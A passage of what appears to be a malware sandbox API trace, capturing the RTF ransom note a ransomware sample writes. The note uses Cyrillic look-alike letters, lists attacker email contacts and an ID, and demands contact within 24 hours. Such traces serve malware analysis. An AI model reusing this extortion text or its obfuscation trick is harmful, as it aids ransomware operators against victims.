nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 